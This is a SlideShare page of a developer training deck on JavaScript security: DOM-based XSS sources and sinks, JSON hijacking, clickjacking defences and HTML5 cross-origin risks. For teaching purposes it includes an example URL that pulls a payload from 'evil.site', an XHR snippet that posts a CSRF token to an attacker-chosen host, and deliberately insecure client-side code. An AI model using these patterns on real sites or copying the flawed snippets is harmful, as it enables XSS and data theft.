SlideShare a Scribd company logo
Secure JavaScript for
Developers
Trainer:
Lavakumar Kuppan
@lavakumark
http://www.andlabs.org
About
• Author of IronWASP and several other
tools
• Security Researcher
• Former Penetration Tester
• Recipient of Nullcon BlackShield
Luminaire Award
• Frequent Speaker at Security
Conferences
http://lavakumar.com
Research
Attack and Defense Labs
Repository of all Research and Tools
http://www.andlabs.org
HTML5 Security, Browser-side
Security
Topics of interest
#5 on Top 10 Web Hacks of 2010
CSRF-protection bypass using HPP and ClickJacking
Tools
IronWASP
Web Application Security Testing
Platform Ravan
JavaScript based Distributed
Computing System
JS-RECON
HTML5 based JavaScript Network
Recon Tool
Imposter
Browser Phishing Framework
Shell of the Future
XSS Reverse Web Shell
 Importance of JavaScript Security
 DOM based XSS
– Introduction
– Sources & Sinks
– Identifying DOM based XSS
– Mitigating DOM based XSS
– Lab Session
Outline
 JSON Security
– JSON Parsing
– JSON Hijacking
 Clickjacking Protection
– What doesn’t work
– What works
Outline (cont..)
 HTML5 Security
– Cross Origin Requests
– Client-side Persistent Storage
– postMessage
 Things to avoid doing in JavaScript
Outline (cont..)
Importance of JavaScript
Security
 JavaScript cannot have Security issues
 Secure Coding is a Server-side concern
 All my data is stored on the Server-side
 All critical actions are performed on the
Server-side
Myths
 JavaScript Security is as important as
Serve-side Security
 All Server-side Data can be accessed from
the browser with JavaScript
 All Server-side Functionality can be called
from the browser with JavaScript
 Client-side Storage is gaining prominence
(HTML5)
 Client-side logic is on the rise
Reality
DOM Based XSS
 Most important JavaScript Security issue
 Script Injection purely on the client-side
 Attacker controlled data injected in to the
DOM/JavaScript
 Involves a Source and a Sink
DOM Based XSS
 DOM Properties that can be influenced by
an attacker
 Types:
– Location based
– Client-side Storage based
– Navigation based
– Cross-domain
Source
 location
 location.hash
 location.href
 location.pathname
 location.search
 document.URL
 document.baseURI
 document.documentURI
 document. URLUnencoded
Location based Source
 document.cookie
 sessionStorage*
 localStorage*
 Web SQL Database*
 Indexed DB*
* HTML5
Client-side Storage Based
 window.name
 document.referrer
 history (HTML5)
Navigation Based
 postMessage*
 XHR call responses from 3rd party
JavaScript API
 JSON calls backs from 3rd party
JavaScript API
*HTML5
Cross-domain
 DOM Properties, JavaScript functions and
other client-side entities that can lead to or
influence client-side code execution
 Types:
– Execution based
– Url Based
– HTML Based
– Others
Sinks
 eval()
 Function()
 setTimeout()
 setInterval()
 execScript() (IE Only)
 crypto.generateCRMFRequest() (FF Only)
Execution Based
 location
 location.assign()
 location.replace()
 location.href
 location.protocol*
 location.search*
 location.hostname*
 location.pathname*
*Indirect impact
Url Based
 document.write()
 document.writeln()
 HTML Elements
 HTML Element Attributes
– ‘src’
– onclick, onload, onerror etc
– Form action
– href
HTML Based
 XHR Calls
– open()
– send()
– setRequestHeader()
 postMessage
 Client-side Storage
 JavaScript variables
Others
 JavaScript Static Analysis
– Identify Sources and Follow them in to Sinks
– Run Regex on JavaScript code
– IronWASP
 JavaScript Runtime Analysis
– Requires the execution of JavaScript in the page
– Alerts when Sources/Sinks are called during
execution
– Dominator
– DOM Snitch
Identifying DOM Based XSS
 Avoid Sources and Sinks as much as possible
 Perform rigorous white-list based filtering on
Sources
 Perform proper encoding before sending to Sink
 ESAPI4JS to help with encoding and filtering
Mitigating DOM Based XSS
 DOM XSS Wiki
http://code.google.com/p/domxsswiki
 DOM Snitch http://code.google.com/p/domsnitch
References
JSON Security
 Has become the standard format to send data to
JavaScript
 Subset of JavaScript
 Only a data format but :
– Improper JSON Parsing can lead to Security issues
– Improper formatting can lead to JSON Hijacking
JSON Security
 JSON data is sent as text from the server
 Must convert this to JavaScript object
 JSON.parse() is the right and safe way to do it
 Older browsers don’t support JSON.parse()
 So eval() is used instead
var js_obj = eval(‘(‘ + json_string + ‘)’)
 This is where the trouble begins
JSON Parsing
 If JSON data is user controlled/from 3rd party
then it is poisoned
 Calling eval() on such JSON leads to XSS
 Filtering & Encoding JSON string before calling
eval() does not help
 Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js instead
JavaScript Injected in to JSON
 Proper JSON Validation
http://blog.kotowicz.net/2011/08/death-to-filters-
how-to-validate-json.html
 JSON Validation Bypass
http://blog.mindedsecurity.com/2011/08/ye-olde-
crockford-json-regexp-is.html
References
 JSON is a sub-set of JavaScript
 JavaScript can be loaded and executed from
external websites
<script src=“http://www.google-analytics.com/urchin.js”>
 JSON can also be loaded by external websites
<script src=“http://victim.site/getUsers”>
 Structure of the JSON string will determine if
external sites can read it
JSON Hijacking
 [{“name”:”lava”}]
This is a JavaScript Array and can be hijacked by
external sites
If attacker controls some part of this string then UTF-7
data can be injected to improve attack’s effectiveness
 callback_function({“name”:”lava”})
This is a valid JavaScript function and can be hijacked
by external sites
Troublesome Formats
 JSON Hijacking
http://www.thespanner.co.uk/2011/05/30/json-
hijacking
References
 Safe JSON Format:
{“name”:”lava”}
 Safe JSON Parsing:
JSON.parse()
– Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js to emulate JSON.parse()
in older browsers
Safe JSON
ClickJacking Protection
 ClickJacking is performed by including the target
page in an iframe of another page
 Obvious solution appears to be to prevent the
page from loading in an iframe
 Most developers use FrameBusting for this
 Some use CSRF-tokens in the URL to prevent
this
ClickJacking Protection
 Relies on JavaScript
 Fail-open model
 Can be bypassed by:
– Double Framing
– Cancelling unload
– No-Content Flushing
– Abusing browser-based XSS Filters
– Iframe Sandboxing (HTML5)
Problems with Framebusting approach
 CSRF-token in URL is set by the server
 But there must be some initial URL which does
not have this token
 This URL is usually the home page that the user
types in the Address bar
 Attacker can include this page in iframe and
ClickJack his way through to the target page
Problems with CSRF-tokens in URL approach
 On server-side use X-FRAME-OPTIONS header
 On the client-side use a fail-close model to
framebusting
 By default the page must be unusable – Set the
CSS ‘display’ property to ‘none‘
 If the page is no in an iframe the set ‘display’ to
‘block’
 References:
OWASP ClickJacking Protection
https://www.owasp.org/index.php/Clickjacking
Best way to Mitigate ClickJacking
HTML5 Security
 Originally Ajax calls were subject to Same Origin
Policy
 Site A cannot make XMLHttpRequests to Site B
 HTML5 makes it possible to make these cross
domain calls
 Site A can now make XMLHttpRequests to Site
B as long as Site B allows it.
 Response from Site B should include a header:
 Access-Control-Allow-Origin: Site A
Cross Origin Requests
 Have you seen URLs like these:
http://www.example.com/#index.php
 Inside the page:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
Client-side File Includes
 This design though flawed was difficult to exploit
earlier
 Introducing Cross Origin Requests
http://example.com/#http://evil.site/payload.php
 Contents of ‘payload.php’ will be included as
HTML within <div id=“main”></div>
 New type of XSS!!
Client-side File Includes (contd..)
 COR makes XMLHttpRequest as a dangerous
DOM based XSS sink
 Responses of XHR are consumed in many
websites in different ways.
Eg: JSON, XML HTML
 Since this data is supposed to be from same
domain they are usually not validated
 Huge potential for XSS vulnerabilities
Client-side File Includes (contd..)
 Here the focus is not on the response of XHR
 But instead it is the request that matters
 Sites send a lot of sensitive data to the server
using XHR
 If the URL of the XHR is made to point to the
attacker’s website, then this data is sent to
attacker’s server
Eg: x = new XMLHttpRequest();
x.open(“POST",location.hash.substring(1));
x.send(“a=1&b=2&csrf-token=k34wo9s3l”);
Cross-site Posting
 HTML5 introduces several Persistent Client-side
Storage options:
– localStorage
– WebSQL
– IndexedDB
 Devs tempted to store sensitive data on client-
side
Eg: Offline Gmail stores the entire Inbox on the
client-side
 Storing data over HTTP is vulnerable to DNS
Spoofing attacks
Client-side Persistent Storage
 HTML5 API for sending/receiving data between
frames of different origins
 API has the option to explicitly mention the
target domain when sending message
 Don’t use ‘*’ to invalidate this security measure
 API has option to check the source of the
message
 Always perform this check before using the data
from external frames
 Don’t trust data from 3rd party, always validate it
postMessage
 HTML5 Quick Reference Guide
http://www.andlabs.org/html5.html
 Cross Origin Requests Security
http://code.google.com/p/html5security/wiki/Cros
sOriginRequestSecurity
 Web SQL Database Security
http://code.google.com/p/html5security/wiki/Web
SQLDatabaseSecurity
 Mozilla Developer Network – postMessage
https://developer.mozilla.org/en/DOM/window.po
stMessage
References
Things to avoid doing in JavaScript
 JavaScript runs in the user’s environment
 User has full control over it
 Impossible to prevent user from reading
JavaScript code
 Disabling right-click DOES NOT WORK
Some Basic Facts
if(user == “admin” && passwd = “s3cr3t”)
{
window.location = “admin.php”
}
else
{
window.location = “login.php”
}*
*Stop laughing, this is a real-life example
Authentication
var auth_result = check_creds(uname,pwd);
if(!auth_result)
{
failed_login_count++;
if(failed_login_count > 3)
{
document.cookie = “account_locked = 1”;
}
}
Security Controls
if(promo_code == “ER290U”)
{
discount_percent = 50;
}
else
{
discount_percent = 10;
}
Expose Business Logic or Sensitive Information
 Client-side only Validation
 Crypto, almost always a bad idea
 Storing sensitive data in client-side stores over
HTTP
 References:
Common Sense
Things to Avoid (contd..)

More Related Content

What's hot (20)

PPTX
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
PPT
XPATH, LDAP and Path Traversal Injection
Blueinfy Solutions
 
PPT
Same Origin Policy Weaknesses
kuza55
 
PDF
Securing REST APIs
Claire Hunsaker
 
PPTX
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
PDF
CSRF, ClickJacking & Open Redirect
Blueinfy Solutions
 
PPTX
Dom based xss
Lê Giáp
 
DOC
Same Origin Policy Weaknesses
kuza55
 
PPTX
Cross Site Scripting (XSS)
OWASP Khartoum
 
PDF
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva
 
PDF
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
PPT
Source Code Analysis with SAST
Blueinfy Solutions
 
PDF
DEfcon15 XXE XXS
pentest pentest
 
PDF
Rest Security with JAX-RS
Frank Kim
 
PDF
Session1-Introduce Http-HTTP Security headers
zakieh alizadeh
 
PPTX
W3 conf hill-html5-security-realities
Brad Hill
 
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
KEY
Advanced CSRF and Stateless Anti-CSRF
johnwilander
 
PDF
Building an API Security Ecosystem
Prabath Siriwardena
 
PDF
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 
XSS - Do you know EVERYTHING?
Yurii Bilyk
 
XPATH, LDAP and Path Traversal Injection
Blueinfy Solutions
 
Same Origin Policy Weaknesses
kuza55
 
Securing REST APIs
Claire Hunsaker
 
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
CSRF, ClickJacking & Open Redirect
Blueinfy Solutions
 
Dom based xss
Lê Giáp
 
Same Origin Policy Weaknesses
kuza55
 
Cross Site Scripting (XSS)
OWASP Khartoum
 
New Methods in Automated XSS Detection & Dynamic Exploit Creation
Ken Belva
 
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
Source Code Analysis with SAST
Blueinfy Solutions
 
DEfcon15 XXE XXS
pentest pentest
 
Rest Security with JAX-RS
Frank Kim
 
Session1-Introduce Http-HTTP Security headers
zakieh alizadeh
 
W3 conf hill-html5-security-realities
Brad Hill
 
Case Study of Django: Web Frameworks that are Secure by Default
Mohammed ALDOUB
 
Advanced CSRF and Stateless Anti-CSRF
johnwilander
 
Building an API Security Ecosystem
Prabath Siriwardena
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson
 

Viewers also liked (20)

PPTX
JavaScript Static Security Analysis made easy with JSPrime
Nishant Das Patnaik
 
PDF
Combine may 2013 for web
PUNJABI SUMAN
 
PPT
China Optical Expo on Barter
Daniel Evans
 
PPT
Why scala - executive overview
Razvan Cojocaru
 
PPT
The new masters of management
rsoosaar
 
PPT
Web Services Catalog
Rudolf Husar
 
PDF
Celevation
Nuijaree Varanung
 
PPS
A Glass Of Milk ( in English & Chinese )
OH TEIK BIN
 
PPT
Budget Simulation Assignment Renee Jackson
rjackstar
 
PPT
新希望.
sft
 
PDF
jQuery: Events, Animation, Ajax
Constantin Titarenko
 
PDF
Lookbook "The ballet of the Tsars"
Patricia Rosales
 
PDF
The engineer’s licensing guidance document ELGD 2007
International Society for Licensed Aircraft Maintenance Engineers
 
PDF
Interoperability in a Highly Decentralised Country- Lessons Learned
Plan de Calidad para el SNS
 
PDF
Covestro y Ercros. tarragona
oblanca
 
PPT
The Praying Indians of Megunko
pebrodeur
 
PPT
Because i believe i can
saurabh gupta
 
PDF
The Regacy Chapter 5.4b Ink - Emma
regacylady
 
PPTX
Top 8 chief business development officer resume samples
porichfergu
 
PPTX
Tonometer Final NSF I-Corps presentation
Stanford University
 
JavaScript Static Security Analysis made easy with JSPrime
Nishant Das Patnaik
 
Combine may 2013 for web
PUNJABI SUMAN
 
China Optical Expo on Barter
Daniel Evans
 
Why scala - executive overview
Razvan Cojocaru
 
The new masters of management
rsoosaar
 
Web Services Catalog
Rudolf Husar
 
Celevation
Nuijaree Varanung
 
A Glass Of Milk ( in English & Chinese )
OH TEIK BIN
 
Budget Simulation Assignment Renee Jackson
rjackstar
 
新希望.
sft
 
jQuery: Events, Animation, Ajax
Constantin Titarenko
 
Lookbook "The ballet of the Tsars"
Patricia Rosales
 
The engineer’s licensing guidance document ELGD 2007
International Society for Licensed Aircraft Maintenance Engineers
 
Interoperability in a Highly Decentralised Country- Lessons Learned
Plan de Calidad para el SNS
 
Covestro y Ercros. tarragona
oblanca
 
The Praying Indians of Megunko
pebrodeur
 
Because i believe i can
saurabh gupta
 
The Regacy Chapter 5.4b Ink - Emma
regacylady
 
Top 8 chief business development officer resume samples
porichfergu
 
Tonometer Final NSF I-Corps presentation
Stanford University
 
Ad

Similar to Secure java script-for-developers (20)

PPTX
04. xss and encoding
Eoin Keary
 
PPT
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
PPTX
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
PPT
Browser security
Uday Anand
 
PDF
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
PDF
[Poland] It's only about frontend
OWASP EEE
 
KEY
Message in a Bottle
Zohar Arad
 
PPTX
Understanding dom based xss
Potato
 
PDF
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Mario Heiderich
 
PDF
Locking the Throneroom 2.0
Mario Heiderich
 
PDF
Complete xss walkthrough
Ahmed Elhady Mohamed
 
PPT
Browser Security
Roberto Suggi Liverani
 
PDF
Waf.js: How to Protect Web Applications using JavaScript
Denis Kolegov
 
PPTX
Building Layers of Defense with Spring Security
Joris Kuipers
 
PPT
Java Script Based Client Server Webapps 2
kriszyp
 
PDF
Evolution Of Web Security
Chris Shiflett
 
PPT
Secure Mashups
kriszyp
 
PDF
Talk about html5 security
Huang Toby
 
PDF
Modern Web Application Defense
Frank Kim
 
04. xss and encoding
Eoin Keary
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
Lec4-WebClientSideExploitation.pptxdslkjhgfkjdshgfkjfhdkjg
arfaouisalim
 
Browser security
Uday Anand
 
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
[Poland] It's only about frontend
OWASP EEE
 
Message in a Bottle
Zohar Arad
 
Understanding dom based xss
Potato
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Mario Heiderich
 
Locking the Throneroom 2.0
Mario Heiderich
 
Complete xss walkthrough
Ahmed Elhady Mohamed
 
Browser Security
Roberto Suggi Liverani
 
Waf.js: How to Protect Web Applications using JavaScript
Denis Kolegov
 
Building Layers of Defense with Spring Security
Joris Kuipers
 
Java Script Based Client Server Webapps 2
kriszyp
 
Evolution Of Web Security
Chris Shiflett
 
Secure Mashups
kriszyp
 
Talk about html5 security
Huang Toby
 
Modern Web Application Defense
Frank Kim
 
Ad

More from n|u - The Open Security Community (20)

PDF
Hardware security testing 101 (Null - Delhi Chapter)
n|u - The Open Security Community
 
PPTX
SSRF exploit the trust relationship
n|u - The Open Security Community
 
PDF
Metasploit primary
n|u - The Open Security Community
 
PDF
Api security-testing
n|u - The Open Security Community
 
PDF
Introduction to TLS 1.3
n|u - The Open Security Community
 
PDF
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
n|u - The Open Security Community
 
PDF
Talking About SSRF,CRLF
n|u - The Open Security Community
 
PPTX
Building active directory lab for red teaming
n|u - The Open Security Community
 
PPTX
Owning a company through their logs
n|u - The Open Security Community
 
PPTX
Introduction to shodan
n|u - The Open Security Community
 
PDF
Detecting persistence in windows
n|u - The Open Security Community
 
PPTX
Frida - Objection Tool Usage
n|u - The Open Security Community
 
PDF
OSQuery - Monitoring System Process
n|u - The Open Security Community
 
PDF
DevSecOps Jenkins Pipeline -Security
n|u - The Open Security Community
 
PDF
Extensible markup language attacks
n|u - The Open Security Community
 
PPTX
Linux for hackers
n|u - The Open Security Community
 
PDF
Android Pentesting
n|u - The Open Security Community
 
Hardware security testing 101 (Null - Delhi Chapter)
n|u - The Open Security Community
 
SSRF exploit the trust relationship
n|u - The Open Security Community
 
Api security-testing
n|u - The Open Security Community
 
Introduction to TLS 1.3
n|u - The Open Security Community
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
n|u - The Open Security Community
 
Talking About SSRF,CRLF
n|u - The Open Security Community
 
Building active directory lab for red teaming
n|u - The Open Security Community
 
Owning a company through their logs
n|u - The Open Security Community
 
Introduction to shodan
n|u - The Open Security Community
 
Detecting persistence in windows
n|u - The Open Security Community
 
Frida - Objection Tool Usage
n|u - The Open Security Community
 
OSQuery - Monitoring System Process
n|u - The Open Security Community
 
DevSecOps Jenkins Pipeline -Security
n|u - The Open Security Community
 
Extensible markup language attacks
n|u - The Open Security Community
 

Recently uploaded (20)

PPTX
PLANNING A HOSPITAL AND NURSING UNIT.pptx
PRADEEP ABOTHU
 
PPTX
Iván Bornacelly - Presentation of the report - Empowering the workforce in th...
EduSkills OECD
 
PDF
Quiz Night Live May 2025 - Intra Pragya Online General Quiz
Pragya - UEM Kolkata Quiz Club
 
PDF
Lesson 1 : Science and the Art of Geography Ecosystem
marvinnbustamante1
 
PPTX
How to Configure Taxes in Company Currency in Odoo 18 Accounting
Celine George
 
PPTX
Nitrogen rule, ring rule, mc lafferty.pptx
nbisen2001
 
PDF
Indian National movement PPT by Simanchala Sarab, Covering The INC(Formation,...
Simanchala Sarab, BABed(ITEP Secondary stage) in History student at GNDU Amritsar
 
DOCX
Lesson 1 - Nature and Inquiry of Research
marvinnbustamante1
 
PPTX
ENGLISH 8 REVISED K-12 CURRICULUM QUARTER 1 WEEK 1
LeomarrYsraelArzadon
 
PPTX
Ward Management: Patient Care, Personnel, Equipment, and Environment.pptx
PRADEEP ABOTHU
 
PPTX
The Gift of the Magi by O Henry-A Story of True Love, Sacrifice, and Selfless...
Beena E S
 
PPTX
Lesson 1 Cell (Structures, Functions, and Theory).pptx
marvinnbustamante1
 
PPTX
How to Manage Wins & Losses in Odoo 18 CRM
Celine George
 
PDF
I3PM Industry Case Study Siemens on Strategic and Value-Oriented IP Management
MIPLM
 
PPTX
Building Powerful Agentic AI with Google ADK, MCP, RAG, and Ollama.pptx
Tamanna36
 
PPTX
grade 8 week 2 ict.pptx. matatag grade 7
VanessaTaberlo
 
PPTX
How to Configure Refusal of Applicants in Odoo 18 Recruitment
Celine George
 
PDF
TLE 8 QUARTER 1 MODULE WEEK 1 MATATAG CURRICULUM
denniseraya1997
 
PDF
Supply Chain Security A Comprehensive Approach 1st Edition Arthur G. Arway
rxgnika452
 
PPTX
PLANNING FOR EMERGENCY AND DISASTER MANAGEMENT ppt.pptx
PRADEEP ABOTHU
 
PLANNING A HOSPITAL AND NURSING UNIT.pptx
PRADEEP ABOTHU
 
Iván Bornacelly - Presentation of the report - Empowering the workforce in th...
EduSkills OECD
 
Quiz Night Live May 2025 - Intra Pragya Online General Quiz
Pragya - UEM Kolkata Quiz Club
 
Lesson 1 : Science and the Art of Geography Ecosystem
marvinnbustamante1
 
How to Configure Taxes in Company Currency in Odoo 18 Accounting
Celine George
 
Nitrogen rule, ring rule, mc lafferty.pptx
nbisen2001
 
Indian National movement PPT by Simanchala Sarab, Covering The INC(Formation,...
Simanchala Sarab, BABed(ITEP Secondary stage) in History student at GNDU Amritsar
 
Lesson 1 - Nature and Inquiry of Research
marvinnbustamante1
 
ENGLISH 8 REVISED K-12 CURRICULUM QUARTER 1 WEEK 1
LeomarrYsraelArzadon
 
Ward Management: Patient Care, Personnel, Equipment, and Environment.pptx
PRADEEP ABOTHU
 
The Gift of the Magi by O Henry-A Story of True Love, Sacrifice, and Selfless...
Beena E S
 
Lesson 1 Cell (Structures, Functions, and Theory).pptx
marvinnbustamante1
 
How to Manage Wins & Losses in Odoo 18 CRM
Celine George
 
I3PM Industry Case Study Siemens on Strategic and Value-Oriented IP Management
MIPLM
 
Building Powerful Agentic AI with Google ADK, MCP, RAG, and Ollama.pptx
Tamanna36
 
grade 8 week 2 ict.pptx. matatag grade 7
VanessaTaberlo
 
How to Configure Refusal of Applicants in Odoo 18 Recruitment
Celine George
 
TLE 8 QUARTER 1 MODULE WEEK 1 MATATAG CURRICULUM
denniseraya1997
 
Supply Chain Security A Comprehensive Approach 1st Edition Arthur G. Arway
rxgnika452
 
PLANNING FOR EMERGENCY AND DISASTER MANAGEMENT ppt.pptx
PRADEEP ABOTHU
 

Secure java script-for-developers

  • 1. Secure JavaScript for Developers Trainer: Lavakumar Kuppan @lavakumark http://www.andlabs.org
  • 2. About • Author of IronWASP and several other tools • Security Researcher • Former Penetration Tester • Recipient of Nullcon BlackShield Luminaire Award • Frequent Speaker at Security Conferences http://lavakumar.com
  • 3. Research Attack and Defense Labs Repository of all Research and Tools http://www.andlabs.org HTML5 Security, Browser-side Security Topics of interest #5 on Top 10 Web Hacks of 2010 CSRF-protection bypass using HPP and ClickJacking
  • 4. Tools IronWASP Web Application Security Testing Platform Ravan JavaScript based Distributed Computing System JS-RECON HTML5 based JavaScript Network Recon Tool Imposter Browser Phishing Framework Shell of the Future XSS Reverse Web Shell
  • 5.  Importance of JavaScript Security  DOM based XSS – Introduction – Sources & Sinks – Identifying DOM based XSS – Mitigating DOM based XSS – Lab Session Outline
  • 6.  JSON Security – JSON Parsing – JSON Hijacking  Clickjacking Protection – What doesn’t work – What works Outline (cont..)
  • 7.  HTML5 Security – Cross Origin Requests – Client-side Persistent Storage – postMessage  Things to avoid doing in JavaScript Outline (cont..)
  • 9.  JavaScript cannot have Security issues  Secure Coding is a Server-side concern  All my data is stored on the Server-side  All critical actions are performed on the Server-side Myths
  • 10.  JavaScript Security is as important as Serve-side Security  All Server-side Data can be accessed from the browser with JavaScript  All Server-side Functionality can be called from the browser with JavaScript  Client-side Storage is gaining prominence (HTML5)  Client-side logic is on the rise Reality
  • 12.  Most important JavaScript Security issue  Script Injection purely on the client-side  Attacker controlled data injected in to the DOM/JavaScript  Involves a Source and a Sink DOM Based XSS
  • 13.  DOM Properties that can be influenced by an attacker  Types: – Location based – Client-side Storage based – Navigation based – Cross-domain Source
  • 14.  location  location.hash  location.href  location.pathname  location.search  document.URL  document.baseURI  document.documentURI  document. URLUnencoded Location based Source
  • 15.  document.cookie  sessionStorage*  localStorage*  Web SQL Database*  Indexed DB* * HTML5 Client-side Storage Based
  • 16.  window.name  document.referrer  history (HTML5) Navigation Based
  • 17.  postMessage*  XHR call responses from 3rd party JavaScript API  JSON calls backs from 3rd party JavaScript API *HTML5 Cross-domain
  • 18.  DOM Properties, JavaScript functions and other client-side entities that can lead to or influence client-side code execution  Types: – Execution based – Url Based – HTML Based – Others Sinks
  • 19.  eval()  Function()  setTimeout()  setInterval()  execScript() (IE Only)  crypto.generateCRMFRequest() (FF Only) Execution Based
  • 20.  location  location.assign()  location.replace()  location.href  location.protocol*  location.search*  location.hostname*  location.pathname* *Indirect impact Url Based
  • 21.  document.write()  document.writeln()  HTML Elements  HTML Element Attributes – ‘src’ – onclick, onload, onerror etc – Form action – href HTML Based
  • 22.  XHR Calls – open() – send() – setRequestHeader()  postMessage  Client-side Storage  JavaScript variables Others
  • 23.  JavaScript Static Analysis – Identify Sources and Follow them in to Sinks – Run Regex on JavaScript code – IronWASP  JavaScript Runtime Analysis – Requires the execution of JavaScript in the page – Alerts when Sources/Sinks are called during execution – Dominator – DOM Snitch Identifying DOM Based XSS
  • 24.  Avoid Sources and Sinks as much as possible  Perform rigorous white-list based filtering on Sources  Perform proper encoding before sending to Sink  ESAPI4JS to help with encoding and filtering Mitigating DOM Based XSS
  • 25.  DOM XSS Wiki http://code.google.com/p/domxsswiki  DOM Snitch http://code.google.com/p/domsnitch References
  • 27.  Has become the standard format to send data to JavaScript  Subset of JavaScript  Only a data format but : – Improper JSON Parsing can lead to Security issues – Improper formatting can lead to JSON Hijacking JSON Security
  • 28.  JSON data is sent as text from the server  Must convert this to JavaScript object  JSON.parse() is the right and safe way to do it  Older browsers don’t support JSON.parse()  So eval() is used instead var js_obj = eval(‘(‘ + json_string + ‘)’)  This is where the trouble begins JSON Parsing
  • 29.  If JSON data is user controlled/from 3rd party then it is poisoned  Calling eval() on such JSON leads to XSS  Filtering & Encoding JSON string before calling eval() does not help  Use https://github.com/douglascrockford/JSON- js/blob/master/json_parse.js instead JavaScript Injected in to JSON
  • 30.  Proper JSON Validation http://blog.kotowicz.net/2011/08/death-to-filters- how-to-validate-json.html  JSON Validation Bypass http://blog.mindedsecurity.com/2011/08/ye-olde- crockford-json-regexp-is.html References
  • 31.  JSON is a sub-set of JavaScript  JavaScript can be loaded and executed from external websites <script src=“http://www.google-analytics.com/urchin.js”>  JSON can also be loaded by external websites <script src=“http://victim.site/getUsers”>  Structure of the JSON string will determine if external sites can read it JSON Hijacking
  • 32.  [{“name”:”lava”}] This is a JavaScript Array and can be hijacked by external sites If attacker controls some part of this string then UTF-7 data can be injected to improve attack’s effectiveness  callback_function({“name”:”lava”}) This is a valid JavaScript function and can be hijacked by external sites Troublesome Formats
  • 34.  Safe JSON Format: {“name”:”lava”}  Safe JSON Parsing: JSON.parse() – Use https://github.com/douglascrockford/JSON- js/blob/master/json_parse.js to emulate JSON.parse() in older browsers Safe JSON
  • 36.  ClickJacking is performed by including the target page in an iframe of another page  Obvious solution appears to be to prevent the page from loading in an iframe  Most developers use FrameBusting for this  Some use CSRF-tokens in the URL to prevent this ClickJacking Protection
  • 37.  Relies on JavaScript  Fail-open model  Can be bypassed by: – Double Framing – Cancelling unload – No-Content Flushing – Abusing browser-based XSS Filters – Iframe Sandboxing (HTML5) Problems with Framebusting approach
  • 38.  CSRF-token in URL is set by the server  But there must be some initial URL which does not have this token  This URL is usually the home page that the user types in the Address bar  Attacker can include this page in iframe and ClickJack his way through to the target page Problems with CSRF-tokens in URL approach
  • 39.  On server-side use X-FRAME-OPTIONS header  On the client-side use a fail-close model to framebusting  By default the page must be unusable – Set the CSS ‘display’ property to ‘none‘  If the page is no in an iframe the set ‘display’ to ‘block’  References: OWASP ClickJacking Protection https://www.owasp.org/index.php/Clickjacking Best way to Mitigate ClickJacking
  • 41.  Originally Ajax calls were subject to Same Origin Policy  Site A cannot make XMLHttpRequests to Site B  HTML5 makes it possible to make these cross domain calls  Site A can now make XMLHttpRequests to Site B as long as Site B allows it.  Response from Site B should include a header:  Access-Control-Allow-Origin: Site A Cross Origin Requests
  • 42.  Have you seen URLs like these: http://www.example.com/#index.php  Inside the page: <html><body><script> x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html> Client-side File Includes
  • 43.  This design though flawed was difficult to exploit earlier  Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php  Contents of ‘payload.php’ will be included as HTML within <div id=“main”></div>  New type of XSS!! Client-side File Includes (contd..)
  • 44.  COR makes XMLHttpRequest as a dangerous DOM based XSS sink  Responses of XHR are consumed in many websites in different ways. Eg: JSON, XML HTML  Since this data is supposed to be from same domain they are usually not validated  Huge potential for XSS vulnerabilities Client-side File Includes (contd..)
  • 45.  Here the focus is not on the response of XHR  But instead it is the request that matters  Sites send a lot of sensitive data to the server using XHR  If the URL of the XHR is made to point to the attacker’s website, then this data is sent to attacker’s server Eg: x = new XMLHttpRequest(); x.open(“POST",location.hash.substring(1)); x.send(“a=1&b=2&csrf-token=k34wo9s3l”); Cross-site Posting
  • 46.  HTML5 introduces several Persistent Client-side Storage options: – localStorage – WebSQL – IndexedDB  Devs tempted to store sensitive data on client- side Eg: Offline Gmail stores the entire Inbox on the client-side  Storing data over HTTP is vulnerable to DNS Spoofing attacks Client-side Persistent Storage
